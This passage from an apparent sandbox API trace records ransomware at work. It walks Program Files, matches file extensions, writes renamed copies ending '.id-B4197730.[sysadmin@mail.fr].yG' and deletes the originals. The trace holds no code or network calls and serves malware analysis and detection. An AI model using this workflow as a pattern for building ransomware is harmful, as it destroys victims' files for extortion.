	[0181.663] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=3024) returned 1
	[0181.664] CloseHandle (hObject=0x358) returned 1
	[0181.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20
	[0181.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.664] lstrlenW (lpString=".doc") returned 4
	[0181.664] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.664] lstrlenW (lpString=".docx") returned 5
	[0181.664] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0181.664] lstrlenW (lpString=".pdf") returned 4
	[0181.664] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.664] lstrlenW (lpString=".xls") returned 4
	[0181.664] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.664] lstrlenW (lpString=".xlsx") returned 5
	[0181.665] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0181.665] lstrlenW (lpString=".ppt") returned 4
	[0181.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString=".zip") returned 4
	[0181.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.665] lstrlenW (lpString=".rar") returned 4
	[0181.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString=".bz2") returned 4
	[0181.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString=".7z") returned 3
	[0181.665] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString=".dbf") returned 4
	[0181.665] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString=".1cd") returned 4
	[0181.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString=".jpg") returned 4
	[0181.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.665] lstrlenW (lpString=".doc") returned 4
	[0181.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString=".docx") returned 5
	[0181.666] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0181.666] lstrlenW (lpString=".pdf") returned 4
	[0181.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString=".xls") returned 4
	[0181.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString=".xlsx") returned 5
	[0181.666] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0181.666] lstrlenW (lpString=".ppt") returned 4
	[0181.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.666] lstrlenW (lpString=".zip") returned 4
	[0181.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.666] lstrlenW (lpString=".rar") returned 4
	[0181.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString=".bz2") returned 4
	[0181.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString=".7z") returned 3
	[0181.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.666] lstrlenW (lpString=".dbf") returned 4
	[0181.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.666] lstrlenW (lpString=".1cd") returned 4
	[0181.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0181.666] lstrlenW (lpString=".jpg") returned 4
	[0181.667] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.667] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.667] lstrlenW (lpString="ipsfin.xml") returned 10
	[0181.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.668] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2658) returned 1
	[0181.668] CloseHandle (hObject=0x358) returned 1
	[0181.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20
	[0181.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0181.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0181.668] lstrlenW (lpString=".doc") returned 4
	[0181.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.668] lstrlenW (lpString=".docx") returned 5
	[0181.668] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0181.668] lstrlenW (lpString=".pdf") returned 4
	[0181.668] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.668] lstrlenW (lpString=".xls") returned 4
	[0181.668] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.668] lstrlenW (lpString=".xlsx") returned 5
	[0181.668] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0181.668] lstrlenW (lpString=".ppt") returned 4
	[0181.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0181.669] lstrlenW (lpString=".zip") returned 4
	[0181.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.669] lstrlenW (lpString=".rar") returned 4
	[0181.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.669] lstrlenW (lpString=".bz2") returned 4
	[0181.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.669] lstrlenW (lpString=".7z") returned 3
	[0181.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61
	[0181.669] lstrlenW (lpString=".dbf") returned 4
	[0181.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0182.269] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.269] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0182.271] GetLastError () returned 0x0
	[0182.271] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x8b4, lpOverlapped=0x0) returned 1
	[0182.289] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0182.291] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.291] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.291] SetEndOfFile (hFile=0x370) returned 1
	[0182.292] CloseHandle (hObject=0x370) returned 1
	[0182.292] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.292] SetEndOfFile (hFile=0x364) returned 1
	[0182.293] CloseHandle (hObject=0x364) returned 1
	[0182.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0182.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.294] lstrlenW (lpString=".doc") returned 4
	[0182.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.294] lstrlenW (lpString=".docx") returned 5
	[0182.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.295] lstrlenW (lpString=".pdf") returned 4
	[0182.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.295] lstrlenW (lpString=".xls") returned 4
	[0182.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.295] lstrlenW (lpString=".xlsx") returned 5
	[0182.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.295] lstrlenW (lpString=".ppt") returned 4
	[0182.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.295] lstrlenW (lpString=".zip") returned 4
	[0182.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.295] lstrlenW (lpString=".rar") returned 4
	[0182.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.295] lstrlenW (lpString=".bz2") returned 4
	[0182.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.295] lstrlenW (lpString=".7z") returned 3
	[0182.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.296] lstrlenW (lpString=".dbf") returned 4
	[0182.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.296] lstrlenW (lpString=".1cd") returned 4
	[0182.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.296] lstrlenW (lpString=".jpg") returned 4
	[0182.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.296] lstrlenW (lpString=".doc") returned 4
	[0182.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.296] lstrlenW (lpString=".docx") returned 5
	[0182.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.296] lstrlenW (lpString=".pdf") returned 4
	[0182.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.297] lstrlenW (lpString=".xls") returned 4
	[0182.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.297] lstrlenW (lpString=".xlsx") returned 5
	[0182.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.297] lstrlenW (lpString=".ppt") returned 4
	[0182.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.297] lstrlenW (lpString=".zip") returned 4
	[0182.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.297] lstrlenW (lpString=".rar") returned 4
	[0182.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.297] lstrlenW (lpString=".bz2") returned 4
	[0182.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.297] lstrlenW (lpString=".7z") returned 3
	[0182.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.297] lstrlenW (lpString=".dbf") returned 4
	[0182.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.298] lstrlenW (lpString=".1cd") returned 4
	[0182.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0182.298] lstrlenW (lpString=".jpg") returned 4
	[0182.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.298] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.298] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0182.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.299] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2300) returned 1
	[0182.299] CloseHandle (hObject=0x364) returned 1
	[0182.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220
	[0182.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.300] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.301] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0182.302] GetLastError () returned 0x0
	[0182.302] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0182.732] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x900, lpOverlapped=0x0) returned 1
	[0182.735] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.736] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.736] SetEndOfFile (hFile=0x370) returned 1
	[0182.741] CloseHandle (hObject=0x370) returned 1
	[0182.741] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.741] SetEndOfFile (hFile=0x364) returned 1
	[0182.746] CloseHandle (hObject=0x364) returned 1
	[0182.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.748] lstrlenW (lpString=".doc") returned 4
	[0182.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.748] lstrlenW (lpString=".docx") returned 5
	[0182.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.748] lstrlenW (lpString=".pdf") returned 4
	[0182.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.748] lstrlenW (lpString=".xls") returned 4
	[0182.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.748] lstrlenW (lpString=".xlsx") returned 5
	[0182.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.748] lstrlenW (lpString=".ppt") returned 4
	[0182.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.748] lstrlenW (lpString=".zip") returned 4
	[0182.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.748] lstrlenW (lpString=".rar") returned 4
	[0182.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.748] lstrlenW (lpString=".bz2") returned 4
	[0182.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.748] lstrlenW (lpString=".7z") returned 3
	[0182.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.748] lstrlenW (lpString=".dbf") returned 4
	[0182.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.749] lstrlenW (lpString=".1cd") returned 4
	[0182.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.749] lstrlenW (lpString=".jpg") returned 4
	[0182.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.749] lstrlenW (lpString=".doc") returned 4
	[0182.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString=".docx") returned 5
	[0182.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.749] lstrlenW (lpString=".pdf") returned 4
	[0182.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString=".xls") returned 4
	[0182.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.749] lstrlenW (lpString=".xlsx") returned 5
	[0182.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.749] lstrlenW (lpString=".ppt") returned 4
	[0182.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.749] lstrlenW (lpString=".zip") returned 4
	[0182.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.750] lstrlenW (lpString=".rar") returned 4
	[0182.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.750] lstrlenW (lpString=".bz2") returned 4
	[0182.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.750] lstrlenW (lpString=".7z") returned 3
	[0182.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.750] lstrlenW (lpString=".dbf") returned 4
	[0182.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.750] lstrlenW (lpString=".1cd") returned 4
	[0182.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0182.750] lstrlenW (lpString=".jpg") returned 4
	[0182.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.750] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.750] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0182.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.751] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2404) returned 1
	[0182.751] CloseHandle (hObject=0x364) returned 1
	[0182.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220
	[0182.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.755] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.756] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
